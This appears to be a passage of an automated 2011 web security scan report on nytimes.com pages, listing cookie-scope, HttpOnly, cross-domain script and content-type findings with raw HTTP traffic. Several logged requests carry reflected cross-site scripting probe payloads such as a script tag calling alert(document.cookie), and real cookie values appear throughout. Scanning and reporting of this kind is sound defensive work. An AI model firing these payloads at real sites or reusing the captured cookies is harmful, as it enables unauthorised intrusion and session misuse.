adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
adxcs=s*2364c=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
adxcs=s*2364c=0:1|s*23648=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
NYT-S=0MYsUmYp3SzsTDXrmvxADeHFKipZdIGIz7deFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 02:01:43 GMT
Content-Type: text/html
Connection: keep-alive
Cache-control: no-cache
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2364c=0:1|s*23648=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0MYsUmYp3SzsTDXrmvxADeHFKipZdIGIz7deFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Pragma: no-cache
Content-Length: 60774

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...

2.3. http://www.nytimes.com/adx/bin/adx_remote.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/adx/bin/adx_remote.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; expires=Thursday, 30-Aug-2012 02:00:57 GMT; path=/; domain=.nytimes.com
adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /adx/bin/adx_remote.html?type=fastscript&page=www.nytimes.com/yr/mo/day/&posall=Frame6A&query=qstring&keywords=? HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef768625a28e
Cookie: RMID=064580e669714e5d95187577; nyt-m=A0A3C4172D9158D8BF172093F7716426&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.5.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0M8VapG/xD3rbDXrmvxADeHAQxnG4hhBnSdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Wed, 31 Aug 2011 02:00:57 GMT
Content-type: text/html
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; expires=Thursday, 30-Aug-2012 02:00:57 GMT; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-control: no-cache
Pragma: no-cache
Content-Length: 608

var adxads = new Array(1);

adxads[0] = "<a href=\"http://www.nytimes.com/adx/bin/adx_click.html?type=goto
...[SNIP]...

2.4. http://www.nytimes.com/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

NYT-S=0MvJ6DGui8btPDXrmvxADeHDYwORXYV40UdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(1)%3C/script%3Ef768625a28e
Cookie: RMID=064580e669714e5d95187577; nyt-m=3B66137876B70A8F1BF2D700971E003B&e=i.1314849600&t=i.20&v=i.4&l=l.25.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.4.0.0.0&pr=l.4.6.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.1588757474.1114832702.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=0; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1314756031676:ss=1314756031676; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11028|H07707_11044|H07707_11048|H07707_11087|H07707_11100|D08734_71432; _chartbeat2=j5aogrn0wbg0j579; adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Wed, 31 Aug 2011 02:01:40 GMT
Content-type: text/html
Set-cookie: NYT-S=0MvJ6DGui8btPDXrmvxADeHDYwORXYV40UdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-control: no-cache
Pragma: no-cache
Content-Length: 45

GIF89a.............!.......,..............X.;

2.5. http://www.nytimes.com/packages/html/recommendations/ad.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/packages/html/recommendations/ad.html

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; expires=Thursday, 30-Aug-2012 02:00:17 GMT; path=/; domain=.nytimes.com
NYT-S=0M1GSQjeRf3qrDXrmvxADeHK1eQoruoz0HdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /packages/html/recommendations/ad.html HTTP/1.1
Host: www.nytimes.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.2.13) Gecko/20110504 Namoroka/3.6.13
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3Ef768625a28e
Cookie: RMID=064580e669714e5d95187577; nyt-m=99762FD4C96FE54987A289A5DD716CAA&e=i.1314849600&t=i.20&v=i.2&l=l.25.1728609853.1910755690.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1&n=i.2&g=i.0&er=i.1312580104&vr=l.4.2.0.0.0&pr=l.4.3.0.0.0&vp=i.0&gf=l.20.1728609853.1910755690.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1.-1; nyt-nofb=0; nyt-recmod=1; scorecardresearch=410674835-138375436-1312580132199; WT_FPC=id=50.23.123.106-2722897664.30167991:lv=1313614072295:ss=1313613513273; rsi_segs=H07707_10921|H07707_10926|H07707_11001|H07707_11044|H07707_11087; _chartbeat2=j5aogrn0wbg0j579; adxcl=ti=4e71783f:1313613492|t*28bbe=4e71783f:1313613492

Response

HTTP/1.1 200 OK
Server: Sun-ONE-Web-Server/6.1
Date: Wed, 31 Aug 2011 02:00:16 GMT
Content-type: text/html
Set-cookie: adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; expires=Thursday, 30-Aug-2012 02:00:17 GMT; path=/; domain=.nytimes.com
Set-cookie: NYT-S=0M1GSQjeRf3qrDXrmvxADeHK1eQoruoz0HdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-control: no-cache
Pragma: no-cache
Content-Length: 269

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title></title>
<style>body{margin:0}; img { border:none; }</style>
</head>
<body
...[SNIP]...

3. Cross-domain script include previous next
There are 2 instances of this issue:

/2010/01/11/arts/11iht-design11.html
/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

3.1. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html

Issue detail

The response dynamically includes the following scripts from other domains:

http://js.nyt.com/js/app/moth/moth.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

GET /2010/01/11/arts/11iht-design11.html HTTP/1.1
Host: www.nytimes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Wed, 31 Aug 2011 01:55:50 GMT
Content-Type: text/html
Connection: keep-alive
Set-cookie: adxcs=s*2814a=0:1|s*2550b=0:1; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2814a=0:1|s*2550b=0:1; path=/; domain=.nytimes.com
Set-cookie: adxcs=s*2814a=0:2|s*2550b=0:2; path=/; domain=.nytimes.com
Expires: Thu, 01 Dec 1994 16:00:00 GMT
Cache-control: no-cache
Pragma: no-cache
Content-Length: 69860

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>

<script src="http://graphics8.n
...[SNIP]...
</script>
<script type="text/javascript" language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
</script>
<script language="JavaScript" src="http://pagead2.googlesyndication.com/pagead/show_ads.js"></script>
...[SNIP]...
<div id="insideNYTimes" class="doubleRule">
<script type="text/javascript" src="http://js.nyt.com/js/app/moth/moth.js"></script>
...[SNIP]...

3.2. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The response dynamically includes the following scripts from other domains:

http://content.dl-rms.com/rms/5064/nodetag.js
http://js.nyt.com/js/app/moth/moth.js
http://pagead2.googlesyndication.com/pagead/show_ads.js

Request

Response

4. Cookie without HttpOnly flag set previous next
There are 5 instances of this issue:

/2010/01/11/arts/11iht-design11.html
/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e
/adx/bin/adx_remote.html
/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM
/packages/html/recommendations/ad.html

Issue background

If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.

Issue remediation

There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.

You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.

4.1. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

adxcs=s*2814a=0:1|s*2550b=0:1; path=/; domain=.nytimes.com
adxcs=s*2814a=0:1|s*2550b=0:1; path=/; domain=.nytimes.com
adxcs=s*2814a=0:2|s*2550b=0:2; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /2010/01/11/arts/11iht-design11.html HTTP/1.1
Host: www.nytimes.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

4.2. http://www.nytimes.com/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/2010/01/11/arts/11iht-design11.html671aa%22%3E%3Cscript%3Ealert(0x0064)%3C/script%3Ef768625a28e

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
adxcs=s*2364c=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
adxcs=s*2364c=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492|t*28366=4eab7a3f:1314756101; expires=Thursday, 30-Aug-2012 02:01:42 GMT; path=/; domain=.nytimes.com
adxcs=s*2364c=0:1|s*23648=0:1|s*28366=0:1|s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
NYT-S=0MYsUmYp3SzsTDXrmvxADeHFKipZdIGIz7deFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

4.3. http://www.nytimes.com/adx/bin/adx_remote.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/adx/bin/adx_remote.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; expires=Thursday, 30-Aug-2012 02:00:57 GMT; path=/; domain=.nytimes.com
adxcs=s*28146=0:5|s*2814a=0:5|s*2814d=0:5|s*2550b=0:7; path=/; domain=.nytimes.com
NYT-S=0MoUCXUgfZmc3DXrmvxADeHJv7NIGeSVKqdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

4.4. http://www.nytimes.com/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM

Issue detail

The following cookie was issued by the application and does not have the HttpOnly flag set:

NYT-S=0MvJ6DGui8btPDXrmvxADeHDYwORXYV40UdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

4.5. http://www.nytimes.com/packages/html/recommendations/ad.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/packages/html/recommendations/ad.html

Issue detail

The following cookies were issued by the application and do not have the HttpOnly flag set:

adxcl=t*28bbe=4e71783f:1313613492|ti=4e71783f:1313613492; expires=Thursday, 30-Aug-2012 02:00:17 GMT; path=/; domain=.nytimes.com
NYT-S=0M1GSQjeRf3qrDXrmvxADeHK1eQoruoz0HdeFz9JchiAIUFL2BEX5FWcV.Ynx4rkFI; path=/; domain=.nytimes.com

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

Response

5. HTML does not specify charset previous next
There are 3 instances of this issue:

/adx/bin/adx_remote.html
/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM
/packages/html/recommendations/ad.html

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

5.1. http://www.nytimes.com/adx/bin/adx_remote.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/adx/bin/adx_remote.html

Request

Response

5.2. http://www.nytimes.com/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM

Request

Response

5.3. http://www.nytimes.com/packages/html/recommendations/ad.html previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://www.nytimes.com
Path:	/packages/html/recommendations/ad.html

Request

Response

6. Content type incorrectly stated previous
There are 2 instances of this issue:

/adx/bin/adx_remote.html
/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

6.1. http://www.nytimes.com/adx/bin/adx_remote.html previous next

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.nytimes.com
Path:	/adx/bin/adx_remote.html

Issue detail

The response contains the following Content-type statement:

Content-type: text/html

The response states that it contains HTML. However, it actually appears to contain script.

Request

Response

6.2. http://www.nytimes.com/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM previous

Summary

Severity:	Information
Confidence:	Firm
Host:	http://www.nytimes.com
Path:	/adx/bin/clientside/774a71cQ2FzhLVh_Q3AQ3DzzzQ3D-hQ3DYYYYQ5BbMhQ5D2MQ5EEQ5BYYh2Q2B-bEM

Issue detail

The response contains the following Content-type statement:

Content-type: text/html

The response states that it contains HTML. However, it actually appears to contain a GIF image.

Request

Response

Report generated by XSS.CX at Tue Aug 30 20:05:34 GMT-06:00 2011.